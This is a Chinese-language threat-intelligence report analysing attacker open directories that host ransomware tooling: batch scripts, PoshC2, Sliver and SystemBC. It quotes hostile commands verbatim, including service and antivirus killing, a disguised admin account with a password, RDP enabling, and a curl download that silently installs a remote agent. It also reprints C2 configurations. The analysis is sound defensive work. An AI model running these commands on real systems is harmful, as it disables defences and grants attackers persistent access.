关键要点
-
2023 年 12 月初,我们发现了一个充满批处理脚本的开放目录,主要用于逃避防御和执行命令和控制负载。这些脚本执行各种操作,包括禁用防病毒进程以及停止与 SQL、Hyper-V、安全工具和 Exchange 服务器相关的服务。
-
该报告还重点介绍了负责删除备份、擦除事件日志以及管理 Atera 等远程监控工具的安装或删除的脚本。
-
我们的调查发现了其他工具的使用,包括用于代理服务的 Ngrok、SystemBC 以及两个知名的命令和控制框架:Sliver 和 PoshC2。
-
观察到的服务器显示威胁行为者长期使用,早在 2023 年 9 月就出现在 DFIR 报告威胁源中。从那时起,它们一直处于间歇性活跃状态,最近一次活动是在 2024 年 8 月检测到的。
-
根据此报告创建了十条新的 sigma 规则,并将其添加到我们的私有 sigma 规则集中
概括
在本报告中,我们深入研究了 94.198.53.143 上的开放目录,该目录在我们的情报收集过程中于 2023 年 12 月 10 日首次发现。在开放目录出现之前,该地址已出现在我们的 PoshC2 命令和控制威胁情报源中。它于 2023 年 9 月 21 日首次出现,并间歇性活跃,最近一次是在 2024 年 8 月 11 日,表明该基础设施正在长期使用。
除了 PoshC2 之外,威胁行为者还利用一系列批处理脚本和恶意软件来入侵 Windows 和 Linux 系统。他们的工具包包含 atera_del.bat 和 atera_del2.bat 等脚本,用于删除 Atera 代理;backup.bat 和 delbackup.bat 用于删除系统备份和影子副本;clearlog.bat 用于擦除 Windows 事件日志和相关数据。
攻击者使用 cmd.cmd 禁用用户帐户控制并修改注册表设置,而 def1.bat 和 defendermalwar.bat 等脚本则用于禁用 Windows Defender、计划任务和卸载 Malwarebytes。他们还利用 Ngrok 等工具进行代理,利用 Posh_v2_dropper_x64.exe 进行基于 PowerShell 的命令和控制操作,以及利用包含 SystemBC 恶意软件的 VmManagedSetup.exe。
威胁者通过停止和禁用各种关键服务、使用 disable.bat 和 hyp.bat 等脚本以及使用 LOGOFALL.bat 和 LOGOFALL1.bat 注销用户会话来进一步破坏系统。他们的首要目标似乎是入侵系统、破坏数据和逃避检测机制。
在调查过程中,我们使用 Shodan 进行了转折,并在开放端口中识别出与端口 443 关联的名称“PoshC2”。使用 HTTP HTML 哈希过滤器 (http.html_hash:-1700067737) 进行进一步探索,发现了第二个 IP 地址 185.234.216.64:8000,其中另一个开放目录包含与第一个 IP 地址上发现的二进制文件非常匹配的二进制文件。
在第二个打开的目录 185.234.216.64:8000 中,我们发现了一个名为 poshc2+user.txt 的文本文件,该文件概述了用户帐户的创建过程,将“WDAGUtilityAccount”拼写错误为“WDAGUtilltyAccount”。该脚本还包含使用电子邮件“ [email protected] ”下载 Atera Agent .MSI 版本的说明。
尽管位于俄罗斯的 94.198.53.143:8000 的开放目录已被关闭,但包括 DFIR Report 在内的各种安全供应商仍继续将此 IP 标记为 PoshC2 活动。截至 2024 年 8 月 11 日,第二个 IP 185.234.216.64:8000 仍然可以访问,这表明威胁行为者继续使用此目录托管恶意批处理脚本和二进制文件,并利用 PoshC2 和 Sliver 作为其主要的命令和控制工具包。
与我们上一份 开放目录报告相比,没有数据表明受害者或目标信息。但是,根据所提供的工具,我们可以有信心地得出结论,这些服务器被用于勒索软件入侵活动——看到许多脚本试图终止或停止服务、删除备份和影子副本以及禁用或删除防病毒软件。
分析师
分析和报告由r3nzsec、0xtornado和0xThiebaut完成
对手
在通过透视技术发现的第二个开放目录中,我们观察到一个名为“poshc2+user.txt”的文本文件。此文件详细说明了用户帐户的创建,伪装成默认的 Windows 帐户“WDAGUtilityAccount”,但多了一个“l”,变为“WDAGUtilltyAccount”。该脚本还包括使用 curl 和“ [email protected] ”登录下载 .MSI 版本的 Atera Agent 的说明,该登录名似乎是与 Atera Agent 帐户关联的合法电子邮件地址。
基础设施
在分析托管开放目录的 IP 地址 94.198.53.143 时,我们发现它与 PoshC2 相关联。使用 VirusTotal 等外部数据源揭示了多个连接,包括文件通信、下载、URL,尤其是命令和控制 (C2) 框架的集合。如提供的屏幕截图所示,此 IP 地址链接到两个不同的 C2 框架:“PoshC2”和“Sliver”。这两个命令和控制 (C2) 框架可在 GitHub 上下载,渗透测试人员和红队专业人员通常将其用作评估和模拟的一部分。
-
Posh C2 – https://github.com/nettitude/PoshC2
-
Sliver – https://github.com/BishopFox/sliver
然而,我们也观察到这两个开源工具正在被威胁行为者使用。
然后,我们使用 Shodan 深入挖掘开放目录 IP(94.198.53.143),查看是否可以找到有用的关键点和其他信息。快速查看以下信息,可以发现该 IP 有多个开放端口:80、123、443、1337、8000、8443
向下滚动开放端口列表,我们注意到与端口 443 相关联的名称“PoshC2”。由于这看起来对我们的调查很感兴趣,我们查看了 http html 哈希“http.html_hash:-1700067737”,并将其用作新查询来查看。
DFIR 报告威胁源数据
在我们对开放目录进行调查之前,DFIR 报告威胁情报团队一直在监控这些 IP 地址,以了解它们是否参与了我们的威胁源的各种命令和控制框架。
IP 地址 94.198.53.143 于 2023 年 9 月 21 日首次被检测到,此后一直显示间歇性活动。它主要与 PoshC2 和 Sliver 有关,其中一个实例与 Empire 有关。该基础设施对不同命令和控制框架的使用是零星的,但它会定期重新激活,最近一次活动发生在 2024 年 8 月。
下一节将介绍开放目录中的不同工具/脚本。下面是每个文件的简短摘要,我们将更详细地介绍它们。
atera_del.bat/atera_del2.bat
-
此批处理脚本用于删除 Atera 远程管理代理。
backup.bat
-
此批处理脚本用于删除所有系统状态和常规备份、删除所有卷影副本并忽略所有启动失败。
clearlog.bat
-
此批处理脚本用于删除 Windows 事件日志,还删除与终端服务器客户端相关的回收站和注册表项。
cmd.cmd
-
该文件禁用 UAC,修改注册表设置,包括 RDP 设置。
def1.bat
-
此批处理脚本禁用 Windows Defender 和计划任务。
defendermalwar.bat
-
此批处理脚本禁用 Windows Defender、更改用户帐户控制设置并卸载 Malwarebytes。
delbackup.bat
-
此批处理脚本将删除所有系统状态备份、备份目录、卷影副本并更改启动配置设置以忽略故障。
disable.bat
-
此批处理脚本停止并禁用 Windows 服务器/工作站上与 Microsoft SQL 和 Exchange、各种数据库服务以及其他系统服务相关的服务。
hyp.bat
-
此批处理脚本会删除各种 Hyper-V、SQL 和 Firebird 服务器服务。它还会停止 Windows 计算机中的各种系统和第三方服务。
LOGOFALL.bat
-
该批处理脚本列出所有用户会话,并注销除第一个会话之外的每个会话。
LOGOFALL1.bat
-
该批处理脚本尝试注销最多 20 个会话的所有会话(不包括用户当前会话)。
NG1.bat
-
该批处理脚本包含在端口 3389(RDP)上运行的 Ngrok 身份验证令牌。
NG2.bat
-
该批处理脚本包含在同一端口 3389(RDP)中运行的 Ngrok 身份验证令牌。
Ngrok.exe
-
这是一个合法的工具,但它可以被滥用于代理目的。
ON.bat
-
此批处理脚本确保网络服务正在运行并设置为自动启动。
Posh_v2_dropper_x64.exe
-
PoshC2 投放器,是一个基于 PowerShell 的 C2 可执行文件。
native_dropper
-
Posh_v2_dropper_x64.exe 的 Linux 版本。
poshc2+user.txt
-
包含 PowerShell 单行文本文件,用于执行 PoshC2 代理并执行进一步的后利用操作。
py_dropper.sh
-
Bash shell 脚本用于为 PoshC2 执行 python dropper。
Setup_uncnow.msi
-
Atera 远程管理工具安装程序。
shadow.bat/shadowGuru.bat
-
该批处理脚本包含多个与安全工具有关的注册表项删除操作,包括为多个磁盘驱动器创建网络共享,同时向所有人授予完全访问权限。
VmManagedSetup.exe
-
SystemBC 恶意软件可执行文件。
WILD_PRIDE.exe
-
Sliver C2 框架可执行文件。
z.bat
-
此批处理脚本用于删除与 Hyper-V、多个 AV 程序、SQL 和其他特定服务相关的服务和进程。
z1.bat
-
大量脚本可自动禁用进程、服务、注册表修改和大量防御规避技术。
此批处理文件的主要目的是删除和卸载 Atera 软件,包括与 Atera Agent 安装相关的注册表项、服务和目录。许多公共资源都认为 atera_del.bat 中观察到的确切命令是从系统中卸载/删除 Atera 的已知方法。
-
https://www.reddit.com/r/syncro/comments/pf85te/working_script_for_removing_atera_agent/
-
https://www.cliftonsystems.co.uk/atera-removal-script/
-
https://patrickdomingues.com/2022/01/19/how-to-uninstall-atera-agent-software/
第一行命令是通过 msiexec 静默卸载与给定产品代码关联的软件,在本例中,该产品代码是 Atera 专用的产品代码。命令行参数“/x”用于卸载程序,而“/qn”表示静默模式,即静默卸载 Atera,不会向用户发出任何提示。
超时命令用于确保在执行卸载命令后稍作暂停(5 秒),可能是为了允许在继续执行批处理文件中的任何后续命令之前正确完成 Atera 卸载过程。
sc 命令也用于首先停止然后完全删除 AteraAgent 服务,所有操作都在“ > nul 2> nul ”命令的帮助下悄悄完成,不会向用户显示任何输出。
taskkill 命令用于终止特定进程,在本例中为 TicketingTray.exe。TicketingTray.exe 是 AteraAgent 软件的一部分,通常用于在系统上显示 Atera 图标。
REG命令用于强制“ f ”删除与Atera Networks相关的注册表项
RMDIR 命令会以静默方式递归删除当前用户本地临时文件中的“TrayIconCaching”目录。“ /S ”除了删除目录本身外,还会删除指定目录中的所有目录和文件,而“ /Q ”代表“安静模式”,不会提示确认。
再次使用RMDIR命令从标准“Program Files”和“Program Files (x86)”目录中删除“ATERA Networks”的安装文件夹。
backup.bat
这些命令旨在防止数据恢复,删除卷影副本,并配置系统启动设置,所有这些都使恢复变得更加困难。
[W]badmin 是用于 Windows 备份和恢复的命令行实用程序。DELETE SYSTEMSTATEBACKUP 参数用于删除系统状态备份。标志 -keepVersions:0 指定不应保留任何版本的系统状态备份,本质上是删除所有现有的系统状态备份。接下来,脚本再次运行 wbadmin。与上一个命令类似,此命令用于删除常规备份(而不仅仅是系统状态备份)。
[W]mic 是另一个用于与 Windows 管理规范 (WMI) 交互的命令行实用程序,可用于删除卷影副本
vssadmin 命令用于删除指定卷的卷影副本。在本例中,它使用“/All”参数删除系统上的所有卷影副本。Windows 使用卷影副本进行备份和系统还原。最后,再次使用该工具确认删除卷影。
然后使用 [B]cdedit.exe 修改启动配置数据来禁用 WINDOWS 自动恢复功能。
clearlog.bat
此批处理脚本检查用户是否具有管理权限并清除 Windows 中的事件日志。IT 社区通常使用这些命令的部分内容,正如多年前在多个 IT 论坛上的这些帖子中所见。
-
https://answers.microsoft.com/en-us/windows/forum/all/clear-all-administratative-event-logs-in-event/17c5fba6-dc5e-4acd-9db0-e20665ce3ad5
-
https://www.get-itsolutions.com/commands-clean-recycle-bin/
让我们分解代码的每个阶段并讨论其功能。
-
@echo off 命令行隐藏控制台本身的命令执行输出,同时使用超时 /T 60 设置 60 秒的计时器
-
FOR /F “tokens=1,2*” %%V IN ('bcdedit') DO SET adminTest=%%V 是一个循环,它遍历bcdedit命令的输出,显示启动配置数据并搜索包含以下内容的行:
-
IF (%adminTest%)==(Access) goto noAdmin,此条件语句检查 admintest 变量是否等于“Access”。如果是,则执行跳转到 noAdmin 标签,从而有效地跳过日志清除过程。
-
该命令有一个循环,迭代 wevtutil.exe el 命令的输出,该命令列出事件日志,并针对每一行调用 :do_clear 子例程,并以该行的内容作为参数。
-
echo clearing%1 行打印一条消息,指示正在清除哪个事件日志。%1 占位符被从主循环传递的实际日志名称替换。
-
[W]evtutil.exe cl %1 清除由 %1 参数标识的特定事件日志。
-
这行命令从系统分区中清除$Recycle.bin 目录。
上述命令用于删除在主机工件上发现的远程桌面协议痕迹。在我们通常的分析过程中,这些是威胁行为者通常留下的工件,以便我们识别作为其横向移动一部分的 RDP 相关活动。
-
这些命令尝试删除当前用户配置文件下与远程桌面设置相关的注册表项,其中使用了以下选项:
-
/va:删除与该键关联的所有值
-
/f:强制删除,即使密钥受到保护
-
cd %userprofile%documents此命令将使用通常存储default.rdp的用户配置文件将目录更改为文档文件夹。Default.rdp通常存储 RDP 连接的设置。由于default.rdp是为每个用户存储的隐藏文件,因此需要运行 attrib Default.rdp -s -h ( “-s”从文件中删除“系统”属性,而“-h”删除“隐藏”属性)才能使其可见。一旦可见,命令 del Default.rdp将执行文件的删除,作为威胁行为者删除 RDP 跟踪的一部分。
cmd.cmd
上面的脚本通过注释描述了自身。该脚本旨在禁用用户帐户控制 (UAC)、使用cmd.exe为粘滞键、Utilman 和其他辅助功能设置后门,以及禁用网络级别身份验证 (NLA)。
运行此脚本将允许威胁行为者无需身份验证即可访问 Windows 登录屏幕,并使用系统环境中的后门辅助功能工具运行命令。
def1.bat
以下批处理脚本是另一个防御规避脚本,它提供了几个命令来禁用 Windows Defender。
-
该脚本的第一部分添加了十几个注册表项,以禁用 Windows Defender 的几个组件,包括实时保护、SpyNet 和 MpEngine。
-
脚本的第二部分尝试禁用与 ETW 跟踪和日志记录相关的注册表项。
-
第三部分禁用与 Windows Defender 相关的多个计划任务。
-
在第四个区域,该脚本用于删除 Windows Defender 的各种 GUI 访问,特别是系统托盘图标和按需扫描等的上下文菜单访问。
-
该脚本的第五部分是使用 PowerShell 将整个卷(C:、D:、E: 和 F:)添加为Defender 的排除路径。
-
第六部分然后设置注册表值以禁用各种 Windows Defender 服务。
defendermalwar.bat
此批处理脚本执行了多个命令,旨在禁用各种 Windows Defender 注册表项并更改用户帐户控制设置。脚本的最后一部分还使用了 WMIC 命令来卸载 Malwarebytes。
上述命令用于修改 Windows 系统上与 UAC 相关的注册表项设置。让我们逐一分析一下这些命令:
-
PromptOnSecureDesktop,将此值设置为 0 会在出现 UAC 提示时禁用安全桌面。禁用此功能意味着 UAC 提示将出现在用户当前的桌面上,这可能不太安全,因为某些恶意软件可能会与 UAC 提示交互或欺骗 UAC 提示。
-
EnableLUA,将此值设置为 1 可启用有限用户帐户 (LUA) 功能,这是 UAC 的底层技术。
-
ConsentPromptBehaviorAdmin,将其设置为 0 可修改管理用户的 UAC 提示行为。在此模式下,当执行需要管理权限的操作时,UAC 提示不会要求同意(或标准用户帐户上的凭据)
这些命令共同禁用各种 Windows Defender 安全设置,包括实时保护和行为监控。
这些 PowerShell 命令将删除 Windows Defender 功能、强制重新启动 Windows Defender 服务,并强制重新启动 Windows 防火墙服务。
命令的最后一部分包含 wmic(Windows 管理规范命令行),用于静默卸载任何名称包含“Malwarebytes”的产品。
delbackup.bat
与其他脚本 (backup.bat) 一样,它主要侧重于从 Windows 系统中删除备份和系统还原点、禁用恢复选项以及修改启动配置以忽略故障。它使用 wbadmin、wmic、vssadmin 和 bcdedit 等命令行实用程序删除现有备份、影子副本和系统状态备份,然后更改系统的启动设置以防止在发生错误时自动执行恢复操作。第一行到第七行重复了前面讨论的脚本中观察到的相同操作。
-
cmd.exe /C wbadmin STOP job:停止当前正在运行的任何备份作业。
-
cmd.exe /C wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0 -quiet: 删除所有系统文件和设置的备份,不留下任何副本。
-
cmd.exe /C wbadmin DELETE CATALOG -quiet:删除所有备份的记录,以便系统不再知道它们的存在。
-
cmd.exe /C wbadmin DISABLE 备份:关闭备份计划,因此不再进行自动备份。
-
cmd.exe /C bcdedit /set {default} recoveryenabled No 和 cmd.exe /C bcdedit /set {default} bootstatuspolicy ignoreallfailures:这些命令使计算机在启动期间忽略错误并停止尝试自动修复它们。
脚本的最后一部分会自动删除 Windows 系统上的所有卷影副本(备份快照),然后删除自身。首先,它将目录更改为包含脚本的目录,然后通过 diskshadow 创建并执行命令序列,以删除卷影副本;最后,在暂停等待用户输入后,删除命令文件和脚本本身。
disable.bat
该批处理脚本包含 398 行代码,可以终止进程并禁用多项服务,包括 Web 服务器、数据库和 Exchange 服务。使用的命令示例如下:
net stop MSExchangeDelivery
sc config MSExchangeDelivery start= disabled
net stop MSExchangeDiagnostics
sc config MSExchangeDiagnostics start= disabled
net stop MSExchangeEdgeSync
taskkill -f -im sqlbrowser.exe
taskkill -f -im sqlwriter.exe
taskkill -f -im sqlservr.exe
taskkill -f -im msmdsrv.exe
taskkill -f -im MsDtsSrvr.exe
值得注意的是,威胁行为者在脚本注释中多次错误输入了 Delete( Delite ),这可能表明英语可能是该威胁行为者的第二语言。
此脚本的另一个功能是禁用和删除卷影副本 (vssadmin.exe Delete Shadows /All /Quiet),这表明它是在勒索软件攻击期间使用的,以加速加密并阻止受害者恢复文件。我们的许多勒索软件报告中都报告了类似的脚本。
hyp.bat
该批处理脚本的名称表明它是一个与 Hyper-V 相关的工具。该脚本有 100 多行,以以下命令开始,用于删除 Hyper-V 服务:
该脚本还删除了两个与 FireBird 相关的服务:
Firebird是一个开源 SQL 关系数据库系统,提供高性能、可扩展性和强大的功能。
脚本的其余部分与我们之前在本报告中分析过的文件重叠,禁用不同的数据库服务并终止其进程。
LOGOFALL.bat
此脚本是威胁行为者工具包中最短的脚本之一。它具有以下简单易懂的功能:
查询会话命令查询系统上的当前会话并将结果保存到文本文件中。然后,批处理脚本遍历文本文件,跳过第一行并从第 3 个标记(列)中提取会话 ID。然后使用获得的会话 ID 注销会话,并删除文本文件。
LOGOFALL1.bat
此脚本与LOGOFALL1.bat类似,功能相同。此增强版本仅注销不符合当前条件的用户或会话。
if /i “%%b”==”%username%” 检查第二个标记(会话名称)是否等于当前用户名(%username%)。如果会话名称与当前用户匹配,则会话 ID(%%c)存储在变量 curID 中。
以下行 for /L %%C in (0,1,20) do if “%%C” neq “%curID%” logoff %%C 启动一个 for /L 循环,从 0 到 20 进行迭代。对于 %%C 的每个值,它会检查该值是否不等于存储在 %curID% 中的当前会话 ID。如果会话 ID 与当前会话 ID 不匹配,它会注销 ID 为 %%C 的会话。
NG1.bat
该批处理脚本包含三行ngrok配置:
ngrok config add-authtoken 命令将 ngrok authtoken 保存到配置文件中。虽然 ngrok tcp 可用于启动 TCP 隧道,将公共端口上的所有流量转发到本地服务器(在本例中为 RDP),但它对于公开运行非 HTTP 流量(SSH、SIP、RDP、RTSP、GRPC、游戏服务器等)的服务也非常有用。
NG2.bat
此脚本与第一个 ngrok 脚本 NG1.bat 类似。只有身份验证令牌不同:
Ngrok.exe
该二进制文件是合法的并且经过签名的ngrok 代理。
一些 AV 供应商将其标记为 PUP 类别的恶意软件。如果您没有使用它,则环境中存在此二进制文件可能表明存在感染。
ON.bat
Blackbyte、Promethus、Phobos 和其他勒索软件组织都曾使用此类命令作为其剧本的一部分,对多项服务进行配置。除了使用 net start 命令启动多项服务外,以下是使用 sc 命令进行的配置更改
sc.exe 配置 Dnscache 启动 = 自动
-
缓存 DNS 名称并注册您的计算机的完整计算机名称
sc.exe 配置 SSDPSRV 启动 = 自动
-
启用家庭网络上 UPnP 设备的发现
sc.exe 配置 FDResPub 启动 = 自动
-
发布您的计算机以及连接到您的计算机的资源,以便可以通过网络发现它们
sc.exe 配置 upnphost 启动=自动
-
允许 UPnP 设备托管在您的计算机上
参考:
-
https://www.linkedin.com/pulse/english-blackbyte-ransomware-misterious-dropper-encoder-fasolo
-
https://www.cybereason.com/blog/research/cybereason-vs.-prometheus-ransomware
-
https://blog.talosintelligence.com/understanding-the-phobos-affiliate-struct
PoshC2
Posh_v2_dropper_x64.exe,顾名思义,是一个PoshC2植入器。具体来说,该样本是一个 C++ CLR(通用语言运行时,又名 .NET)加载器,它使用以下重建的配置执行 PoshC2 PowerShell 植入器。
{
"ConnectURL": "/webhp/",
"Key": "bX7WACSlpm2NpvJdQbRV8DHAjmEJpKWM8n4bkG6bzCI=",
"KillDate": "2999-12-01",
"URLID": 1,
"PayloadCommsHost": "https://94.198.53.143",
"StageRetriesLimit": 30,
"StageRetries": true,
"StageRetriesInitialWait": 60,
"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36"
}
使用默认终止日期和TLS 证书(除所有其他工具和“地理”位置外)是 C2 是对手而非红队基础设施的常见迹象。在撰写本文时,Posh Command & Control 服务仍在积极响应。
可以通过默认的 TLS 证书设置来寻找额外的 PoshC2 基础设施。
native_dropper
native_dropper 是 Posh_v2_dropper_x64.exe 的 Linux 版本,而 Posh_v2_dropper_x64.exe 是 Windows 版本。通过检查此文件的哈希值 ( 63229da1bed0c0eafc4ed087651af3eec521e7fbd098300f7d862582d03a675d ),我们可以看到它现在被大多数 AV 供应商标记为恶意软件,评分为 58/72。
执行快速字符串可揭示此PoshC2的配置。Packetwatch去年也在其博客上讨论过它。
domain_front_hdr=94.198.53.143
server_clean=https://94.198.53.143
ua=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
proxy_url=
proxy_user=
proxy_pass=
urls=webhp/
urls=adsense/troubleshooter/1631343/
urls=trader-update/history&pd=/
urls=status/995598521343541248/query=/
urls=uasclient/0.1.34/modules/
urls=utag/lbg/main/prod/utag.15.js/
urls=GoPro5/black/2018/
urls=usersync/tradedesk/
urls=bootstrap/3.1.1/bootstrap.min.js/
urls=TOS/
urls=business/home.asp&ved=/
urls=web/20110920084728/
urls=vssf/wppo/site/bgroup/visitor/
urls=Philips/v902/
urls=bh/sync/aol/
urls=async/newtab/
urls=advanced_search/
urls=adServingData/PROD/TMClient/6/8736/
urls=vfe01s/1/vsopts.js/
urls=cisben/marketq/
urls=business/retail-business/insurance.asp/
urls=client_204/
urls=branch-locator/search.asp/
urls=work/embedded/search/
urls=babel-polyfill/6.3.14/polyfill.min.js=/
urls=cdba/
urls=putil/2018/0/11/po.html/
urls=qqzddddd/2018/load.php/
urls=types/translation/v1/articles/
urls=classroom/sharewidget/widget_stable.html/
jitter=0.2
sleep_time=5
kill_date=32501019600
poshc2+user.txt
在分析文件时,我们在使用 Shodan (185.234.216.64:8000) 进行转移后在第二个 IP 上观察到了这些文件,另一个引起我们注意的是 poshc2+user.txt 文件。让我们看看这个文本文件的内容。
该文本文件包含多个命令,我们将其分为四个部分:
1:PowerShell 编码命令
以下是 PowerShell 解码后的命令。以下解码后的命令中提到的下载链接已无法访问。
2:创建用户账户
以下命令用于创建用户帐户“WDAGUtil l tyAccount”,密码为“Ujmqaz5055”。创建此帐户后,它将被添加到管理员本地组。请注意,此用户试图伪装 Windows 中的常用系统帐户“WDAGUtilityAccount”,并将“i”写成了“l”。
net user WDAGUtilltyAccount Ujmqaz5055 /add
net localgroup Administrators WDAGUtilltyAccount /add
3:启用远程桌面协议
这些命令分为两部分。第一部分是注册表修改,用于通过将“fDenyTSConnections”的值设置为“0”来在 Windows 计算机上启用远程桌面协议 (RDP)。第二条命令通过打开 TCP 端口 3389 来操纵和配置 Windows 防火墙以允许入站 RDP 连接。
reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="allow RemoteDesktop" dir=in protocol=TCP localport=3389 action=allow
4:下载并安装 Atera 代理
提供的命令使用“curl”下载 Atera Agent 安装设置文件,指定必要的 Gmail 和帐户 ID。执行整个命令序列后,Atera Agent 的“setup.exe”文件成功下载,没有遇到任何问题。
curl -o setup.msi "https://HelpdeskSupport613811560.servicedesk.atera.com/GetAgent/Msi/?customerId=1&integratorLogin=datilragna@gmail.com&accountId=<redacted>" && msiexec /i setup.msi /qn IntegratorLogin=datilragna@gmail.com CompanyId=1 AccountId=<redacted>
py_dropper.sh
该脚本是一个编码的 PoshC2 Python 有效载荷投放器。
解码 base64 编码的 blob 得到以下 Python 脚本:
此脚本是https://github.com/nettitude/PoshC2/blob/master/resources/payload-templates/dropper.py的配置版本。对其进行解码可让我们获得有关威胁行为者基础设施和方法的若干见解和 IOC(C2 IP、回调 URL、UA)。此示例中的设置配置与之前提到的示例中观察到的相同,表明它们是在同一服务器构建期间生成的。
setup_uncnow.mmsi
此安装程序会部署 Atera 代理,它是远程监控和管理工具的一部分。此工具经常被各种威胁行为者滥用来实施入侵。
shadow.bat
与脚本名称所表示的相反,该脚本关注的不仅仅是卷影副本。
该脚本使用两个命令 vssadmin.exe Delete Shadows /All /Quiet 和 vssadmin delete shadows /all 来删除系统上文件和文件夹的所有卷影副本。
该脚本还通过禁用 Windows Defender、启用 RDP 以及通过使用 cmd.exe 替换辅助功能(如先前在 cmd.cmd 脚本中所见)来对系统进行后门操作来执行多种防御规避技术。
shadowGuru.bat
这个脚本有两个主要功能。它首先使用 net share 命令将几个驱动器共享给网络上的所有人,并赋予其完全访问权限:
然后,它使用一个条件执行几个与 AV 程序相关的注册表清理和修改:
条件语句根据系统架构 PROCESSOR_ARCHITECTURE 检查,并相应地进行注册表修改。根据系统是 32 位还是 64 位,使用适当的路径(/reg:32 或 /reg:64)进行注册表更改。
VmManagedSetup.exe
VmManagedSetup.exe可执行文件被识别为 SystemBC,这是一种已知会执行初始侦察并向选定目标投放后续恶意软件的恶意软件。启动后,该恶意软件会立即持续存在。
此 SystemBC 样本通过运行键持久性实现此目的。具体来说,它会创建值为 socks5 的 HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun 键,旨在通过 PowerShell 执行样本。虽然这种方法远非隐秘,但众所周知,SystemBC 会感染管理不善的公司设备,这些设备通常缺乏安全软件。
建立持久性后,SystemBC 启动其主线程。如下所示,SystemBC 首先启动一个单独的终止开关线程,在本地进行监听以避免并发运行。然后,恶意软件会定期发出信标,在两个 C2 之间交替。
为了逃避检测,SystemBC 确保其配置仅在建立 C2 连接时才解密。该恶意软件支持将 IP 和主机名用作 C2 地址。
XOR 解码的配置将两个 SystemBC 服务器公开为 94.198.55.181:4337 和 94.198.51.247:4337。
00000000 42 45 47 49 4e 44 41 54 41 48 4f 53 54 31 3a 39 |BEGINDATAHOST1:9|
00000010 34 2e 31 39 38 2e 35 35 2e 31 38 31 00 00 00 00 |4.198.55.181....|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000030 00 00 00 00 00 00 00 48 4f 53 54 32 3a 39 34 2e |.......HOST2:94.|
00000040 31 39 38 2e 35 31 2e 32 34 37 00 00 00 00 00 00 |198.51.247......|
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000060 00 00 00 00 00 50 4f 52 54 31 3a 34 33 33 37 00 |.....PORT1:4337.|
00000070 00 |.|
由于 SystemBC 的主要功能是部署其他恶意软件,因此其下载逻辑提供了额外的 IoC。如下所述,VmManagedSetup.exe 可执行文件能够使用 HTTP/1.0 上的 GET 请求获取其他有效负载。所采用的用户代理是:
Mozilla/5.0(Windows NT 6.1;Win64;x64;rv:66.0)Gecko/20100101 Firefox/66.0
值得注意的是,下载功能依赖于默认的硬编码端口 INTERNET_DEFAULT_HTTP_PORT,表示端口 80 上的纯 HTTP 通信。这些类型的通信通常使组织能够通过网络设备检测可疑活动。
参考:
-
https://www.virustotal.com/gui/file/cc4960939a41d6a281ddad307b107e16214f4aeda261c9b5037f26e60dc7bba2/detection
WILD_PRIDE.exe
WILD_PRIDE.exe 可执行文件是Sliver植入程序,这是一种开源对手“模拟”框架。由于 Sliver 框架是用 Go 编写的,并使用garble进行混淆,因此依靠动态分析是识别 C2 的最简单方法,对于此样本而言,C2 即为 94[.]198[.]53[.]143 开放目录服务器。
Sliver 依靠Protobuf来序列化命令和控制通信,幸运的是,这些通信并不容易被混淆。通过对项目的 Protobuf 定义进行字符串分析(识别protobuf/sliverpb/sliver.proto 中包含和排除的更改),我们能够将植入版本范围缩小到 1.5.40 或 1.5.41,该版本于 2023 年中期发布,以解决CVE-2023-34758。
参考:
-
https://www.virustotal.com/gui/file/1aecadf489a6dd7a3a6e5dfda9425673a9d04d38a5cb6b0b8f961536c11237ed/detection
-
https://www.immersivelabs.com/blog/detecting-and-decrypting-sliver-c2-a-threat-hunters-guide/
Z.bat
该脚本包含 242 行代码,主要执行删除服务的操作。根据以下类别,这些代码分为不同的 AV 供应商、Hyper-V 和 SQL。
rem Delite Service "Hyper-V"
rem Delite Service "AVG"
rem Delite Service "Malwaresbytes"
rem Delite Service "Sofos"
rem Delite Service "Fire_Bird"
rem Delite Service "SQL"
rem Delite Service "AV: Webroot"
rem Delite Service "AV: ESET"
rem Delite Service "AV: Kaspersky"
rem Delite Service "AV: Quick Heal"
rem Delite Service "AV: McAfee"
rem Delite Service "AV: Trend Micro"
rem Delite Service "AV: Panda"
除了删除服务之外,它还会终止多个进程。
rem Kill
rem Kill "AV: Trend Micro"
rem Kill "SQL"
这些命令用于检查特定的防病毒或端点安全服务是否正在 Windows 系统上运行。
-
tasklist /fi “imagename eq MsMpEng.exe”:检查 Windows Defender (MsMpEng.exe) 进程是否正在运行。
-
| find /c “PID”:此部分过滤前一个命令的输出,计算有多少行包含术语“PID”(一种检查是否找到进程的方法)。
-
&& Echo Windows Defender:如果上一个命令找到了该进程(即 Windows Defender 正在运行),则此部分将显示“Windows Defender”。
相同的结构适用于其他生产线,但它们检查不同的流程:
-
MBCloudEA.exe 和 MBAMService.exe – Malwarebytes
-
ntrtscan.exe – 趋势科技安全。
-
avp.exe – 卡巴斯基端点安全。
-
WRSA.exe – Webroot。
-
egui.exe – ESET。
-
AvastUI.exe f – Avast。
TASKKILL /F /FI "PID ge 1000" /FI "WINDOWTITLE ne untitle*"
该脚本的最后一条命令用于强制停止所有 PID 为 1000 或更高的进程,但窗口标题以“untitle”开头的进程除外。
z1.bat
这是迄今为止关于这个 opendir 的最全面的脚本,它包含超过 772 行命令。它与之前的脚本(z.bat)内容完全相同,但增加了防御规避技术和功能。
rem Delite Service "Hyper-V"
rem Delite Service "AVG"
rem Delite Service "Malwaresbytes"
rem Delite Service "Sofos"
rem Delite Service "Fire_Bird"
rem Delite Service "SQL"
rem Delite Service "AV: Webroot"
rem Delite Service "AV: ESET"
rem Delite Service "AV: Kaspersky"
rem Delite Service "AV: Quick Heal"
rem Delite Service "AV: McAfee"
rem Delite Service "AV: Trend Micro"
rem Delite Service "AV: Panda"
该脚本的第一部分删除针对知名安全 AV 供应商的服务,以及与 Hyper-V 和 Microsoft SQL 相关的服务。
脚本的第二部分是停止与 MS SQL 相关的多个服务,并通过“sc config”命令禁用相关服务。
